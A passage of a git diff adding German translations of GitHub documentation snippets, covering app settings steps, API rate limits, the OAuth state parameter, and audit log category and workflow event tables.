+ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "147884835"
+---
+Es gibt eine Grenze von zehn Token, die pro Kombination aus Benutzer/Anwendung/Bereich ausgestellt werden. Wenn eine Anwendung mehr als zehn Token für denselben Benutzer und dieselben Bereiche erstellt, werden die ältesten Token mit derselben Kombination aus Benutzer/Anwendung/Bereich widerrufen.
diff --git a/translations/de-DE/data/reusables/apps/optional_feature_activation.md b/translations/de-DE/data/reusables/apps/optional_feature_activation.md
new file mode 100644
index 0000000000..7f460992f8
--- /dev/null
+++ b/translations/de-DE/data/reusables/apps/optional_feature_activation.md
@@ -0,0 +1,12 @@
+---
+ms.openlocfilehash: d5771c9c0954960982d76d828cdb36d7a0a2312e
+ms.sourcegitcommit: 76b840f45ba85fb79a7f0c1eb43bc663b3eadf2b
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/12/2022
+ms.locfileid: "145103515"
+---
+4. Klicke auf der linken Randleiste auf **Optionale Features**.
+   ![Registerkarte „Optionale Features“](/assets/images/github-apps/optional-features-option.png) 
+5. Klicke neben dem optionalen Feature, das du für deine App aktivieren möchtest, auf **Aktivieren**.
+  ![Schaltfläche zum Aktivieren eines optionalen Features](/assets/images/github-apps/enable-optional-features.png)
diff --git a/translations/de-DE/data/reusables/apps/settings-step.md b/translations/de-DE/data/reusables/apps/settings-step.md
new file mode 100644
index 0000000000..2062152d22
--- /dev/null
+++ b/translations/de-DE/data/reusables/apps/settings-step.md
@@ -0,0 +1,14 @@
+---
+ms.openlocfilehash: 78a0558108002d870af01a1d9347f11694676ba5
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145103512"
+---
+1. Navigiere zu den Einstellungen für dein Konto.
+   - Wenn es sich um eine {% data variables.product.prodname_github_app %} im Besitz eines persönlichen Kontos handelt, klicke in der rechten oberen Ecke einer beliebigen Seite auf dein Profilfoto und dann auf **Einstellungen**.
+    ![Symbol „Einstellungen“ auf der Benutzerleiste](/assets/images/settings/userbar-account-settings_post2dot12.png)
+   - Wenn es sich um eine {% data variables.product.prodname_github_app %} im Besitz einer Organisation handelt, klicke in der oberen rechten Ecke einer beliebigen Seite auf dein Profilfoto und dann auf **Deine Organisationen**. Klicke dann rechts neben der Organisation auf **Einstellungen**.
+    ![Deine Organisationen im Profilmenü](/assets/images/help/profile/your-organizations.png)
+    ![Schaltfläche „Einstellungen“](/assets/images/help/organizations/settings-button.png)
diff --git a/translations/de-DE/data/reusables/apps/sinatra_restart_instructions.md b/translations/de-DE/data/reusables/apps/sinatra_restart_instructions.md
new file mode 100644
index 0000000000..5652cd7745
--- /dev/null
+++ b/translations/de-DE/data/reusables/apps/sinatra_restart_instructions.md
@@ -0,0 +1,13 @@
+---
+ms.openlocfilehash: 41bb3c15a14a80b31fa3c12c51d6f9cb15ee0733
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145103511"
+---
+{% note %}
+
+**Hinweis**: Du musst den Sinatra-Server neu starten, bevor du Änderungen testen kannst. Gib `Ctrl-C` ein, um den Server zu beenden, und führe `ruby template_server.rb` dann erneut aus. Wenn du dies nicht jedes Mal durchführen möchten, wenn du deinen App-Code änderst, befasse dich mit dem [erneuten Laden](http://sinatrarb.com/faq.html#reloading).
+
+{% endnote %}
diff --git a/translations/de-DE/data/reusables/apps/state_description.md b/translations/de-DE/data/reusables/apps/state_description.md
new file mode 100644
index 0000000000..da58d6bc1e
--- /dev/null
+++ b/translations/de-DE/data/reusables/apps/state_description.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 2de1af738680c661c5c2d259e266fb3b4d7d3450
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145103508"
+---
+Eine nicht erratbare zufällige Zeichenfolge. Sie wird verwendet, um vor websiteübergreifenden Anforderungsfälschungen zu schützen.
diff --git a/translations/de-DE/data/reusables/apps/undetected-pushes-to-a-forked-repository-for-check-suites.md b/translations/de-DE/data/reusables/apps/undetected-pushes-to-a-forked-repository-for-check-suites.md
new file mode 100644
index 0000000000..fcd4bcb933
--- /dev/null
+++ b/translations/de-DE/data/reusables/apps/undetected-pushes-to-a-forked-repository-for-check-suites.md
@@ -0,0 +1,13 @@
+---
+ms.openlocfilehash: b6dfc33713afc09930569825ced59238fcede851
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "147881860"
+---
+{% note %}
+
+**Hinweis**: Die Überprüfungs-API sucht nur in dem Repository nach Pushes, in dem die Überprüfungssammlung oder die Überprüfungsausführung erstellt wurden. Pushes an einen Branch in einem geforkten Repository werden nicht erkannt und geben ein leeres `pull_requests`-Array und einen `null`-Wert für `head_branch` zurück.
+
+{% endnote %}
diff --git a/translations/de-DE/data/reusables/apps/user-to-server-rate-limits-ghec.md b/translations/de-DE/data/reusables/apps/user-to-server-rate-limits-ghec.md
new file mode 100644
index 0000000000..5a98170ad4
--- /dev/null
+++ b/translations/de-DE/data/reusables/apps/user-to-server-rate-limits-ghec.md
@@ -0,0 +1,12 @@
+---
+ms.openlocfilehash: e1c1b71da7d587f12f406f5f64fdd0f2eab81fb1
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145103491"
+---
+Benutzer-zu-Server-Anforderungen unterliegen in den folgenden Szenarien einem höheren Grenzwert von 15.000 Anforderungen pro Stunde und pro authentifiziertem Benutzer.
+
+- Die Anforderung stammt aus einer {% data variables.product.prodname_github_app %}, die einer {% data variables.product.prodname_ghe_cloud %}-Organisation gehört.
+- Die Anforderung stammt aus einer {% data variables.product.prodname_oauth_app %}, die einer {% data variables.product.prodname_ghe_cloud %}-Organisation gehört oder von einer solchen genehmigt wurde.
diff --git a/translations/de-DE/data/reusables/apps/user-to-server-rate-limits.md b/translations/de-DE/data/reusables/apps/user-to-server-rate-limits.md
new file mode 100644
index 0000000000..f56f5c3e0c
--- /dev/null
+++ b/translations/de-DE/data/reusables/apps/user-to-server-rate-limits.md
@@ -0,0 +1 @@
+{% ifversion ghes %}By default, user-to-server{% else %}User-to-server{% endif %} requests are limited to {% ifversion ghae %}15,000{% elsif fpt or ghec or ghes %}5,000{% endif %} requests per hour and per authenticated user. All requests from OAuth applications authorized by a user or a {% data variables.product.pat_generic %} owned by the user, and requests authenticated with any of the user's authentication credentials, share the same quota of {% ifversion ghae %}15,000{% elsif fpt or ghec or ghes %}5,000{% endif %} requests per hour for that user.
diff --git a/translations/de-DE/data/reusables/audit_log/audit-data-retention-tab.md b/translations/de-DE/data/reusables/audit_log/audit-data-retention-tab.md
new file mode 100644
index 0000000000..6664ea589f
--- /dev/null
+++ b/translations/de-DE/data/reusables/audit_log/audit-data-retention-tab.md
@@ -0,0 +1,11 @@
+---
+ms.openlocfilehash: ce590bb087145ff4abfb195d7257c614464c2b19
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: "148109725"
+---
+1. Klicke unter „Überwachungsprotokoll“ auf **Audit Data Retention** (Aufbewahrung von Überwachungsdaten).
+
+   ![Screenshot der Registerkarte „Audit Data Retention“ (Aufbewahrung von Überwachungsdaten)](/assets/images/help/enterprises/audit-data-retention-tab.png)
diff --git a/translations/de-DE/data/reusables/audit_log/audit-log-action-categories.md b/translations/de-DE/data/reusables/audit_log/audit-log-action-categories.md
new file mode 100644
index 0000000000..0617ba76b7
--- /dev/null
+++ b/translations/de-DE/data/reusables/audit_log/audit-log-action-categories.md
@@ -0,0 +1,116 @@
+---
+ms.openlocfilehash: e0bf1f4b7bbd5fcb145a6e869dd442fd8e53108a
+ms.sourcegitcommit: b4996daba2e75b3368f39316e6929602f13b961b
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/31/2022
+ms.locfileid: "148120534"
+---
+| Kategoriename | BESCHREIBUNG
+|------------------|-------------------
+{%- ifversion fpt or ghec %} | `account` | Enthält Aktivitäten im Zusammenhang mit einem Organisationskonto.
+| `advisory_credit`   | Enthält Aktivitäten im Zusammenhang mit Angaben dazu, von welchen Mitwirkenden Inhalte für Sicherheitsempfehlungen in der {% data variables.product.prodname_advisory_database %} stammen. Weitere Informationen findest du unter [Informationen zu {% data variables.product.prodname_dotcom %}-Sicherheitshinweisen](/github/managing-security-vulnerabilities/about-github-security-advisories).
+{%- endif %} | `artifact` | Enthält Aktivitäten im Zusammenhang mit {% data variables.product.prodname_actions %}-Artefakten für Workflowausführungen.
+{%- ifversion audit-log-streaming %} | `audit_log_streaming` | Enthält Aktivitäten im Zusammenhang mit Streamingüberwachungsprotokollen für Organisationen in einem Unternehmenskonto.
+{%- endif %} {%- ifversion fpt or ghec %} | `billing` | Enthält Aktivitäten im Zusammenhang mit der Abrechnung einer Organisation.
+{%- endif %} {%- ifversion ghec or ghes or ghae %} | `business`  | Enthält Aktivitäten im Zusammenhang mit Geschäftseinstellungen für ein Unternehmen.
+{%- endif %} {%- ifversion code-security-audit-log-events %} | `business_advanced_security` | Enthält Aktivitäten im Zusammenhang mit {% data variables.product.prodname_GH_advanced_security %} in einem Unternehmen. Weitere Informationen findest du unter [Verwalten von {% data variables.product.prodname_GH_advanced_security %}-Features für dein Unternehmen](/admin/code-security/managing-github-advanced-security-for-your-enterprise/managing-github-advanced-security-features-for-your-enterprise).
+| `business_secret_scanning` | Enthält Aktivitäten im Zusammenhang mit {% data variables.product.prodname_secret_scanning %} in einem Unternehmen. Weitere Informationen findest du unter [Verwalten von {% data variables.product.prodname_GH_advanced_security %}-Features für dein Unternehmen](/admin/code-security/managing-github-advanced-security-for-your-enterprise/managing-github-advanced-security-features-for-your-enterprise).
+{%- endif %} {%- ifversion secret-scanning-audit-log-custom-patterns %} | `business_secret_scanning_custom_pattern` | Enthält Aktivitäten im Zusammenhang mit benutzerdefinierten Mustern zur {% data variables.product.prodname_secret_scanning %} in einem Unternehmen.
+{%- endif %} {%- ifversion code-security-audit-log-events %} | `business_secret_scanning_push_protection` | Enthält Aktivitäten im Zusammenhang mit dem Pushschutzfeature von {% data variables.product.prodname_secret_scanning %} in einem Unternehmen. Weitere Informationen findest du unter [Verwalten von {% data variables.product.prodname_GH_advanced_security %}-Features für dein Unternehmen](/admin/code-security/managing-github-advanced-security-for-your-enterprise/managing-github-advanced-security-features-for-your-enterprise).
+| `business_secret_scanning_push_protection_custom_message`| Enthält Aktivitäten im Zusammenhang mit der benutzerdefinierten Nachricht, die angezeigt wird, wenn der Pushschutz in einem Unternehmen ausgelöst wird. Weitere Informationen findest du unter [Verwalten von {% data variables.product.prodname_GH_advanced_security %}-Features für dein Unternehmen](/admin/code-security/managing-github-advanced-security-for-your-enterprise/managing-github-advanced-security-features-for-your-enterprise).
+{%- endif %} | `checks`   | Enthält Aktivitäten im Zusammenhang mit Überprüfungssammlungen und -ausführungen.
+{%- ifversion fpt or ghec %} | `codespaces` | Enthält Aktivitäten im Zusammenhang mit den Codespaces einer Organisation.
+{%- endif %} | `commit_comment` | Enthält Aktivitäten im Zusammenhang mit dem Aktualisieren oder Löschen von Commitkommentaren.
+{%- ifversion ghes %} | `config_entry` |  Enthält Aktivitäten im Zusammenhang mit Konfigurationseinstellungen. Diese Ereignisse sind nur im Überwachungsprotokoll des Websiteadministrators sichtbar.
+{%- endif %} | `dependabot_alerts` | Umfasst Konfigurationsaktivitäten auf Organisationsebene für {% data variables.product.prodname_dependabot_alerts %} in vorhandenen Repositorys Weitere Informationen findest du unter [Informationen zu {% data variables.product.prodname_dependabot_alerts %}](/code-security/dependabot/dependabot-alerts/about-dependabot-alerts).
+| `dependabot_alerts_new_repos`   | Enthält Konfigurationsaktivitäten auf Organisationsebene für {% data variables.product.prodname_dependabot_alerts %} in neuen Repositorys, die in der Organisation erstellt wurden.
+| `dependabot_repository_access` | Enthält Aktivitäten im Zusammenhang mit den privaten Repositorys in einer Organisation, auf die {% data variables.product.prodname_dependabot %} zugreifen darf.
+{%- ifversion fpt or ghec or ghes %} | `dependabot_security_updates`   | Enthält Konfigurationsaktivitäten auf Organisationsebene für {% data variables.product.prodname_dependabot_security_updates %} in vorhandenen Repositorys. Weitere Informationen findest du unter [Konfigurieren von {% data variables.product.prodname_dependabot_security_updates %}](/github/managing-security-vulnerabilities/configuring-dependabot-security-updates).
+| `dependabot_security_updates_new_repos` | Enthält Konfigurationsaktivitäten auf Organisationsebene für {% data variables.product.prodname_dependabot_security_updates %} für neue Repositorys, die in der Organisation erstellt wurden.
+{%- endif %} | `dependency_graph` | Enthält Konfigurationsaktivitäten auf Organisationsebene für Abhängigkeitsdiagramme für Repositorys. Weitere Informationen findest du unter [Informationen zum Abhängigkeitsdiagramm](/github/visualizing-repository-data-with-graphs/about-the-dependency-graph).
+| `dependency_graph_new_repos`  | Enthält Konfigurationsaktivitäten auf Organisationsebene für neue Repositorys, die in der Organisation erstellt wurden.
+{%- ifversion fpt or ghec %} | `discussion` | Enthält Aktivitäten im Zusammenhang mit Teamdiskussionen.
+| `discussion_comment` | Enthält Aktivitäten im Zusammenhang mit Kommentaren, die in Diskussionen auf einer Teamseite veröffentlicht wurden.
+| `discussion_post`   | Enthält Aktivitäten im Zusammenhang mit Diskussionen, die auf einer Teamseite veröffentlicht wurden.
+| `discussion_post_reply`   | Enthält Aktivitäten im Zusammenhang mit Antworten auf Diskussionen, die auf einer Teamseite veröffentlicht wurden.
+{%- endif %} {%- ifversion ghec or ghes %} | `dotcom_connection` | Enthält Aktivitäten im Zusammenhang mit {% data variables.product.prodname_github_connect %}.
+| `enterprise` | Enthält Aktivitäten im Zusammenhang mit Unternehmenseinstellungen.
+{%- endif %} {%- ifversion ghec %} | `enterprise_domain` | Enthält Aktivitäten im Zusammenhang mit überprüften Unternehmensdomänen.
+| `enterprise_installation` | Enthält Aktivitäten im Zusammenhang mit {% data variables.product.prodname_github_app %}s, die einer {% data variables.product.prodname_github_connect %}-Unternehmensverbindung zugeordnet sind.
+{%- endif %} {%- ifversion fpt or ghec %} | `environment` | Enthält Aktivitäten im Zusammenhang mit {% data variables.product.prodname_actions %}-Umgebungen.
+{%- endif %} {%- ifversion ghae %} | `external_group` | Enthält Aktivitäten im Zusammenhang mit Okta-Gruppen.
+| `external_identity` | Enthält Aktivitäten im Zusammenhang mit einem Benutzer in einer Okta-Gruppe.
+{%- endif %} | `gist` | Enthält Aktivitäten im Zusammenhang mit Gists.
+| `hook` | Enthält Aktivitäten im Zusammenhang mit Webhooks.
+| `integration` | Enthält Aktivitäten im Zusammenhang mit Integrationen in einem Konto.
+| `integration_installation` | Enthält Aktivitäten im Zusammenhang mit Integrationen, die in einem Konto installiert sind.
+| `integration_installation_request`  | Enthält Aktivitäten im Zusammenhang mit Anforderungen, die von Organisationsmitgliedern an Besitzer*innen gesendet werden, um Integrationen zur Verwendung innerhalb der Organisation genehmigen zu lassen.
+{%- ifversion ghec or ghae %} | `ip_allow_list`   | Enthält Aktivitäten im Zusammenhang mit dem Aktivieren oder Deaktivieren der IP-Zulassungsliste für eine Organisation.
+| `ip_allow_list_entry`   | Enthält Aktivitäten im Zusammenhang mit dem Erstellen, Löschen und Bearbeiten eines IP-Zulassungslisteneintrags für eine Organisation.
+{%- endif %} | `issue`  | Enthält Aktivitäten im Zusammenhang mit dem Anheften, Übertragen oder Löschen eines Issues in einem Repository.
+| `issue_comment` | Enthält Aktivitäten im Zusammenhang mit dem Anheften, Übertragen oder Löschen von Issuekommentaren.
+| `issues` | Enthält Aktivitäten im Zusammenhang mit dem Aktivieren oder Deaktivieren der Issueerstellung für eine Organisation.
+{%- ifversion fpt or ghec %} | `marketplace_agreement_signature` | Enthält Aktivitäten im Zusammenhang mit der Unterzeichnung der {% data variables.product.prodname_marketplace %}-Entwicklervereinbarung.
+| `marketplace_listing` | Enthält Aktivitäten im Zusammenhang mit dem Auflisten von Apps in {% data variables.product.prodname_marketplace %}.
+{%- endif %} | `members_can_create_pages`   | Enthält Aktivitäten zum Verwalten der Veröffentlichung von {% data variables.product.prodname_pages %}-Websites für Repositorys in der Organisation. Weitere Informationen findest du unter [Verwalten der Veröffentlichung von {% data variables.product.prodname_pages %}-Websites für deine Organisation](/organizations/managing-organization-settings/managing-the-publication-of-github-pages-sites-for-your-organization).
+| `members_can_create_private_pages` | Enthält Aktivitäten zum Verwalten der Veröffentlichung privater {% data variables.product.prodname_pages %}-Websites für Repositorys in der Organisation.
+| `members_can_create_public_pages` | Enthält Aktivitäten zum Verwalten der Veröffentlichung öffentlicher {% data variables.product.prodname_pages %}-Websites für Repositorys in der Organisation.
+{%- ifversion ghec or ghes or ghae %} | `members_can_delete_repos` | Enthält Aktivitäten im Zusammenhang mit der Aktivierung oder Deaktivierung der Repositoryerstellung für eine Organisation.
+{%- endif %} {%- ifversion fpt or ghec %} | `members_can_view_dependency_insights` | Enthält Konfigurationsaktivitäten auf Organisationsebene, mit denen Organisationsmitglieder Abhängigkeitseinblicke anzeigen können.
+| `migration` | Enthält Aktivitäten zum Übertragen von Daten von einem *Quellspeicherort* (z. B. einer {% data variables.product.prodname_dotcom_the_website %}-Organisation oder einer {% data variables.product.prodname_ghe_server %}-Instanz) an eine {% data variables.product.prodname_ghe_server %}-*Zielinstanz*.
+{%- endif %} | `oauth_access` | Enthält Aktivitäten im Zusammenhang mit OAuth-Zugriffstoken.
+| `oauth_application` | Enthält Aktivitäten im Zusammenhang mit OAuth-Apps.
+{%- ifversion fpt or ghec %} | `oauth_authorization` | Enthält Aktivitäten im Zusammenhang mit der Autorisierung von OAuth-Apps.
+{%- endif %} | `org`   | Enthält Aktivitäten im Zusammenhang mit der Organisationsmitgliedschaft.
+{%- ifversion ghec or ghes or ghae %} | `org_credential_authorization` | Enthält Aktivitäten im Zusammenhang mit der Autorisierung von Anmeldeinformationen für die Verwendung mit SAML Single Sign-On.
+{%- endif %} {%- ifversion secret-scanning-audit-log-custom-patterns %} | `org_secret_scanning_custom_pattern` | Enthält Aktivitäten im Zusammenhang mit benutzerdefinierten Mustern zur Geheimnisüberprüfung in einer Organisation. Weitere Informationen findest du unter [Definieren benutzerdefinierter Muster für Geheimnisüberprüfungen](/code-security/secret-scanning/defining-custom-patterns-for-secret-scanning).
+| `org.secret_scanning_push_protection` | Enthält Aktivitäten im Zusammenhang mit benutzerdefinierten Mustern für die Geheimnisüberprüfung in einer Organisation. Weitere Informationen findest du unter [Schützen von Pushs mit Geheimnisüberprüfung](/code-security/secret-scanning/protecting-pushes-with-secret-scanning).
+{%- endif %} | `organization_default_label` | Enthält Aktivitäten im Zusammenhang mit Standardbezeichnungen für Repositorys in einer Organisation.
+{%- ifversion fpt or ghec or ghes %} | `organization_domain` | Enthält Aktivitäten im Zusammenhang mit überprüften Organisationsdomänen.
+| `organization_projects_change` | Enthält Aktivitäten im Zusammenhang mit organisationsweiten Projektboards in einem Unternehmen.
+{%- endif %} {%- ifversion fpt or ghec %} | `pages_protected_domain` | Enthält Aktivitäten im Zusammenhang mit überprüften benutzerdefinierten Domänen für {% data variables.product.prodname_pages %}.
+| `payment_method`  | Enthält Aktivitäten im Zusammenhang mit der Zahlungsweise einer Organisation für {% data variables.product.prodname_dotcom %}.
+| `prebuild_configuration` | Enthält Aktivitäten im Zusammenhang mit Prebuildkonfigurationen für {% data variables.product.prodname_github_codespaces %}.
+{%- endif %} {%- ifversion ghes %} | `pre_receive_environment` | Enthält Aktivitäten im Zusammenhang mit Pre-Receive-Hook-Umgebungen.
+| `pre_receive_hook` | Enthält Aktivitäten im Zusammenhang mit Pre-Receive-Hooks.
+{%- endif %} {%- ifversion ghes %} | `private_instance_encryption` | Enthält Aktivitäten im Zusammenhang mit der Aktivierung des privaten Modus für ein Unternehmen.
+{%- endif %} | `private_repository_forking` | Enthält Aktivitäten im Zusammenhang mit der Zulassung von Forks privater und interner Repositorys für ein Repository, eine Organisation oder ein Unternehmen.
+{%- ifversion fpt or ghec %} | `profile_picture`   | Enthält Aktivitäten im Zusammenhang mit dem Profilbild einer Organisation.
+{%- endif %} | `project` | Enthält Aktivitäten im Zusammenhang mit Projektboards.
+| `project_field` | Enthält Aktivitäten im Zusammenhang mit der Felderstellung und -löschung in einem Projektboard.
+| `project_view` | Enthält Aktivitäten im Zusammenhang mit der Ansichtserstellung und -löschung in einem Projektboard.
+| `protected_branch` | Enthält Aktivitäten im Zusammenhang mit geschützten Branches.
+| `public_key` | Enthält Aktivitäten im Zusammenhang mit SSH-Schlüsseln und Bereitstellungsschlüsseln.
+| `pull_request` | Enthält Aktivitäten im Zusammenhang mit Pull Requests.
+| `pull_request_review` | Enthält Aktivitäten im Zusammenhang mit Pull Request-Überprüfungen.
+| `pull_request_review_comment` | Enthält Aktivitäten im Zusammenhang mit Pull Request-Überprüfungskommentaren.
+| `repo` | Enthält Aktivitäten im Zusammenhang mit den Repositorys, die einer Organisation gehören.
+{%- ifversion fpt or ghec %} | `repository_advisory` | Enthält Aktivitäten auf Repositoryebene im Zusammenhang mit Sicherheitshinweisen in der {% data variables.product.prodname_advisory_database %}.  Weitere Informationen findest du unter [Informationen zu {% data variables.product.prodname_dotcom %}-Sicherheitshinweisen](/github/managing-security-vulnerabilities/about-github-security-advisories).
+| `repository_content_analysis`   | Enthält Aktivitäten im Zusammenhang mit der [Aktivierung oder Deaktivierung der Datenverwendung für ein privates Repository](/articles/about-github-s-use-of-your-data).
+| `repository_dependency_graph`   | Enthält Aktivitäten auf Repositoryebene im Zusammenhang mit dem Aktivieren oder Deaktivieren des Abhängigkeitsdiagramms für ein {% ifversion fpt or ghec %}privates {% endif %}Repository. Weitere Informationen findest du unter [Informationen zum Abhängigkeitsdiagramm](/github/visualizing-repository-data-with-graphs/about-the-dependency-graph).
+{%- endif %} | `repository_image` | Enthält Aktivitäten im Zusammenhang mit Bildern für ein Repository.
+| `repository_invitation` | Enthält Aktivitäten im Zusammenhang mit Einladungen zum Beitreten zu einem Repository.
+| `repository_projects_change` | Enthält Aktivitäten im Zusammenhang mit der Aktivierung von Projekten für ein Repository oder für alle Repositorys in einer Organisation.
+{%- ifversion ghec or ghes or ghae %} | `repository_secret_scanning`  | Enthält Aktivitäten auf Repositoryebene im Zusammenhang mit der Geheimnisüberprüfung. Weitere Informationen findest du unter [Informationen zur Geheimnisüberprüfung](/github/administering-a-repository/about-secret-scanning).
+{%- endif %}{%- ifversion secret-scanning-audit-log-custom-patterns %} | `repository_secret_scanning_custom_pattern` | Enthält Aktivitäten im Zusammenhang mit benutzerdefinierten Mustern zur Geheimnisüberprüfung in einem Repository. Weitere Informationen findest du unter [Definieren benutzerdefinierter Muster für Geheimnisüberprüfungen](/code-security/secret-scanning/defining-custom-patterns-for-secret-scanning). {% endif %}{% ifversion secret-scanning-audit-log-custom-patterns %} | `repository_secret_scanning_push_protection` | Enthält Aktivitäten im Zusammenhang mit benutzerdefinierten Mustern zur Geheimnisüberprüfung in einem Repository. Weitere Informationen findest du unter [Schützen von Pushs mit Geheimnisüberprüfung](/code-security/secret-scanning/protecting-pushes-with-secret-scanning).
+{%- endif %} {%- ifversion fpt or ghec %} | `repository_visibility_change` | Enthält Aktivitäten, mit denen Organisationsmitglieder die Sichtbarkeit von Repositorys für die Organisation ändern können.
+{%- endif %} | `repository_vulnerability_alert` | Enthält Aktivitäten im Zusammenhang mit [{% data variables.product.prodname_dependabot_alerts %}](/code-security/dependabot/dependabot-alerts/about-dependabot-alerts).
+{%- ifversion fpt or ghec %} | `repository_vulnerability_alerts` | Enthält Konfigurationsaktivitäten auf Repositoryebene für {% data variables.product.prodname_dependabot_alerts %}.
+| `required_status_check` | Enthält Aktivitäten im Zusammenhang mit den erforderlichen Statusüberprüfungen für geschützte Branches.
+{%- endif %} {%- ifversion ghec or ghes %} | `restrict_notification_delivery` | Enthält Aktivitäten im Zusammenhang mit der Einschränkung von E-Mail-Benachrichtigungen an genehmigte oder überprüfte Domänen für ein Unternehmen.
+{%- endif %} {%- ifversion custom-repository-roles %} | `role` | Enthält Aktivitäten im Zusammenhang mit [benutzerdefinierten Repositoryrollen](/organizations/managing-peoples-access-to-your-organization-with-roles/managing-custom-repository-roles-for-an-organization).
+{%- endif %} {%- ifversion ghec or ghes or ghae %} | `secret_scanning`   | Enthält Konfigurationsaktivitäten auf Organisationsebene zur Geheimnisüberprüfung in vorhandenen Repositorys. Weitere Informationen findest du unter [Informationen zur Geheimnisüberprüfung](/github/administering-a-repository/about-secret-scanning).
+| `secret_scanning_new_repos` | Enthält Konfigurationsaktivitäten auf Organisationsebene für die Geheimnisüberprüfung für neue Repositorys, die in der Organisation erstellt wurden.
+{%- endif %} {%- ifversion ghec or ghes or ghae %} | `security_key` | Enthält Aktivitäten im Zusammenhang mit der Registrierung und Entfernung von Sicherheitsschlüsseln.
+{%- endif %} {%- ifversion fpt or ghec %} | `sponsors`  | Enthält Ereignisse im Zusammenhang mit Sponsorschaltflächen (siehe [Anzeigen einer Sponsorschaltfläche in deinem Repository](/articles/displaying-a-sponsor-button-in-your-repository)).
+{%- endif %} {%- ifversion ghec or ghes or ghae %} | `ssh_certificate_authority` | Enthält Aktivitäten im Zusammenhang mit einer SSH-Zertifizierungsstelle in einer Organisation oder einem Unternehmen.
+| `ssh_certificate_requirement` | Enthält Aktivitäten, mit denen festgelegt wird, dass Mitglieder SSH-Zertifikate verwenden müssen, um auf Organisationsressourcen zuzugreifen.
+{%- endif %} | `staff` | Enthält Aktivitäten im Zusammenhang mit einem Websiteadministrator, der eine Aktion ausführt.
+| `team` | Enthält Aktivitäten im Zusammenhang mit Teams in einer Organisation.
+| `team_discussions` | Enthält Aktivitäten im Zusammenhang mit der Verwaltung von Teamdiskussionen für eine Organisation.
+{%- ifversion ghec %} | `team_sync_tenant` | Enthält Aktivitäten im Zusammenhang mit der Teamsynchronisierung mit einem IdP für ein Unternehmen oder eine Organisation.
+{%- endif %} {%- ifversion fpt or ghes %} | `two_factor_authentication` | Enthält Aktivitäten im Zusammenhang mit der zweistufigen Authentifizierung.
+{%- endif %} | `user` | Enthält Aktivitäten im Zusammenhang mit Benutzer*innen in einem Unternehmen oder einer Organisation.
+{%- ifversion ghec or ghes %} | `user_license` | Enthält Aktivitäten im Zusammenhang mit Benutzer*innen, die einen lizenzierten Arbeitsplatz in einem Unternehmen belegen, dessen Mitglied sie sind.
+{%- endif %} | `workflows` Enthält Aktivitäten im Zusammenhang mit {% data variables.product.prodname_actions %}-Workflows.
diff --git a/translations/de-DE/data/reusables/audit_log/audit-log-api-info.md b/translations/de-DE/data/reusables/audit_log/audit-log-api-info.md
new file mode 100644
index 0000000000..e471c1bcec
--- /dev/null
+++ b/translations/de-DE/data/reusables/audit_log/audit-log-api-info.md
@@ -0,0 +1,13 @@
+---
+ms.openlocfilehash: 8dc05f4b4acb5814c262c15c6d91d50aa36d836c
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145103479"
+---
+* Zugriff auf Ihre Organisations- oder Repositoryeinstellungen
+* Änderungen an Berechtigungen
+* Hinzugefügte oder entfernte Benutzer*innen in einer Organisation, einem Repository oder einem Team
+* Benutzer*innen, die zu Administrator*innen ernannt werden
+* Änderungen an Berechtigungen einer {% data variables.product.prodname_github_app %}
diff --git a/translations/de-DE/data/reusables/audit_log/audit-log-events-workflows.md b/translations/de-DE/data/reusables/audit_log/audit-log-events-workflows.md
new file mode 100644
index 0000000000..9e946ca9d7
--- /dev/null
+++ b/translations/de-DE/data/reusables/audit_log/audit-log-events-workflows.md
@@ -0,0 +1,20 @@
+---
+ms.openlocfilehash: 830540b45884edcec609f94aeeaaf5b661a95a51
+ms.sourcegitcommit: 094dff459fcbf7d0634930e02405606dfffd7f0a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 11/12/2022
+ms.locfileid: "148163211"
+---
+| Aktion | BESCHREIBUNG
+|--------|------------
+| `workflows.approve_workflow_job` | Ein Workflowauftrag wurde genehmigt. Weitere Informationen findest du unter [Überprüfen von Bereitstellungen](/actions/managing-workflow-runs/reviewing-deployments).
+| `workflows.cancel_workflow_run` | Eine Workflowausführung wurde abgebrochen. Weitere Informationen findest du unter „[Abbrechen eines Workflows](/actions/managing-workflow-runs/canceling-a-workflow)“.
+| `workflows.delete_workflow_run` | Eine Workflowausführung wurde gelöscht. Weitere Informationen findest du unter [Löschen einer Workflowausführung](/actions/managing-workflow-runs/deleting-a-workflow-run).
+| `workflows.disable_workflow` | Ein Workflow wurde deaktiviert.
+| `workflows.enable_workflow` | Ein Workflow wurde aktiviert, nachdem er zuvor von `disable_workflow` deaktiviert wurde.
+| `workflows.reject_workflow_job` | Ein Workflowauftrag wurde abgelehnt. Weitere Informationen findest du unter [Überprüfen von Bereitstellungen](/actions/managing-workflow-runs/reviewing-deployments).
